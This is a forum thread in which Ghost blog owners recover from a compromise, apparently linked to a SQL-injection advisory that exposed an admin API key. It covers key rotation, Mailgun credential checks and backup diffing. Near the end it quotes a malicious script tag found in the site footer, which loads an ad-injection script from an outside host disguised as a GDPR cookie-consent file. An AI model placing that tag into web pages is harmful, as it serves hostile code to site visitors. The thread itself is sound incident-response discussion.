Security question: Hacked via Zapier integration

Hi there. I have a self-hosted Ghost instance. This week, my site had its posts and pages all deleted via the Zapier integration API key by some malicious actor. I had not used the integration in my Zapier account, but I was able to see in the History logs that all the malicious activity happened via Zapier.

My question is, where are the security vulnerabilities I should add guards for? I have 2FA on and use randomly generated passwords for all my accounts, so I’ve rotated my passwords and the Zapier integration key. The only other possible vulnerability I can imagine is the malicious actor somehow getting into my server.

1 Like

What version of Ghost are you on? SQL injection in Content API · Advisory · TryGhost/Ghost · GitHub could potentially have been used to exfiltrate the admin api key. If you aren’t on the latest ghost, upgrading and then rolling your keys again and resetting all staff passwords would be a good start.

(In other words, it might not be the case that the hack came in via Zapier, but that attackers got the admin api key you generated for Zapier.)

2 Likes

Hi Cathy! You’re absolutely right. I just checked my versioning and I’m a major version behind. My suspicion is also that the attackers got the admin API key for Zapier, which I’ve never used myself. I did upgrade today!

Great. So I’d definitely take a look for any integrations (look in the custom tab) that you don’t expect to be there and remove them, and I’d ‘regenerate’ any keys for anything I did recognize. Also check your staff listing for any unexpected staff or staff with unexpected emails, and remove them. Regenerate staff tokens for all staff, including the owner.

(And just a note: I don’t work for Ghost. This is my unofficial Ghost power user opinion, and I hope that you’ll get additional replies with additional thoughts on what to check.)

Handy guide. Here’s what I ended up doing (order matters) :

  1. Update ghost. For me on v5, that involved at least nvm install 22; npm install -g npm; npm install ghost-cli@latest -g; ghost upgrade v5; ghost upgrade.
  2. Log into the admin web site (http://your.domain.com/ghost).
  3. Settings → Integrations → Zapier and “Regenerate” Admin API key.
  4. Also check list of Integrations, including in “Custom” for anything suspicious.
  5. Settings → Staff and reset each account password, and then regenerate each Staff access token.
  6. If you use Zapier, log in to Zapier and update the Ghost API key.
  7. Login to Mailgun (assuming you use it for email sending - they are who first alerted me).
    1. Check all SMTP Credentials for all domains - for me there was a new account with nomenclature “smtp_[eight letters]@[domain]”!
    2. Delete unrecognised SMTP Credentials accounts, and reset the password of those that are required.
    3. Back in the main Mailgun settings, create a new API Key and delete the existing one.
    4. Reset the password of all Mailgun user accounts.

After doing this on my two Ghost sites I’m back up and running, but now I need to figure out how to undo all the malicious activity! It looks like Zapier has been used to create custom “Code injection” content on every post. Is it enough to just go through each post and delete what’s there, or can I somehow review the changes and revert them?

1 Like

Can you provide some context for that link? Looks like maybe it’s a way to achieve steps 3, 4 and 5 in one go (and potentially a bunch more to boot)?

I suppose it doesn’t help with undoing the malicious activity though?

Right, sorry, I should have said more. That’s a brand new tool from the Ghost dev team (thanks guys!) that handles the key rolling - steps 3-5, like you said, and may cover some additional keys that aren’t exposed in the dashboard anywhere. (I think there’s a couple internal keys.)

You’re correct about needing to also roll Mailgun keys.

To add to your list - you should probably manually roll your Stripe keys. I’m not 100% sure Stripe keys can be compromised by that exploit, but given how sensitive they are, I’m thinking it’s better safe than sorry.

To answer your question about undoing malicious activity: Do you have a recent backup that predates it? If so, I would seriously think about rolling back to it. (If you’re worried about losing recent posts, copy then somewhere else first. Likewise for new member signups - export them, then import them back after restoration.) If you don’t, and if you otherwise didn’t use the code injection for anything, you might write (have Claude write) a script that loops through every post and zeroes out the code injection field. But that assumes that this is the only place malicious content was added. Another owner of a compromised site reported bodies of posts changed also. Anything that could go into code injection could also go into an html card within the post body. It’s going to be hard to be confident you’ve cleared everything out. If it were my site and I had a good recent backup, I think I’d restore from backup in this situation.

2 Likes

Be great if I could diff/merge with backup…

Okay, here’s what helped me:

After manually reverting the obvious malicious activity (a script added to the footer of every post and page), I ran ghost backup.

I then sftp’ed the zip file, and the backups folder, and the next most recent backup zip file, to my local machine. Roughly something like (informative only, I actually used a gui):

scp my.server.com:/var/www/my-site/*.zip ~/ghost-backups/
scp -R my.server.com:/var/www/my-site/backups ~/ghost-backups/

I then unzipped the zip files and made the first key discovery: the zips contain a folder called data, which has the same content JSON file and members csv file as the backups folder. In addition, the zips contain files, images, media, settings and themes.

So step one in assurance was to a do a folder diff between the two unzipped backups. I used Beyond Compare. It was quickly obvious that the only differences were new files I’d attached to posts since the previous backup, plus a lot of changes to the content JSON.

So step two was a diff of the content JSON. To make a text diff work well I formatted the two json files first with something like:

jq 'walk(if type == "object" then del(.mobiledoc, .lexical) else . end)' content-from-v5.26.4-on-2025-07-02-11-13-44.json > content-from-v5.26.4-on-2025-07-02-11-13-44.pretty.json

I used the walk command to remove fields that were producing a lot of distracting differences. My case is severe, since my last backup was from Ghost v5! The mobiledoc content seems to have moved to the lexical field, so ignoring them both was an easy fix. Adjust to your tastes.

By diff’ing the result it was pretty easy to see whether I’d missed anything. Sure enough, all the old posts were identical between the two files, giving me confidence there weren’t edits I’d missed. But, a strange addition to the site-wide footer caught my attention. I’d ignored it in my manual reversion effort thinking it must have been a v6 addition, but seeing it in the diff made me reconsider.

The addition was:

<script src=\"https://cookie-consent-gdpr.pages.dev/consent.min.js\"></script>

Pretty sus looking, so I asked Claude to tell me what the script does and sure enough it’s an ad injection script masquerading as a GDPR cookie consent script.

Deleted that and now I’m pretty confident I’ve reverted all the malicious activity.

Now to figure out how to run more frequent backups… I’m starting here.

1 Like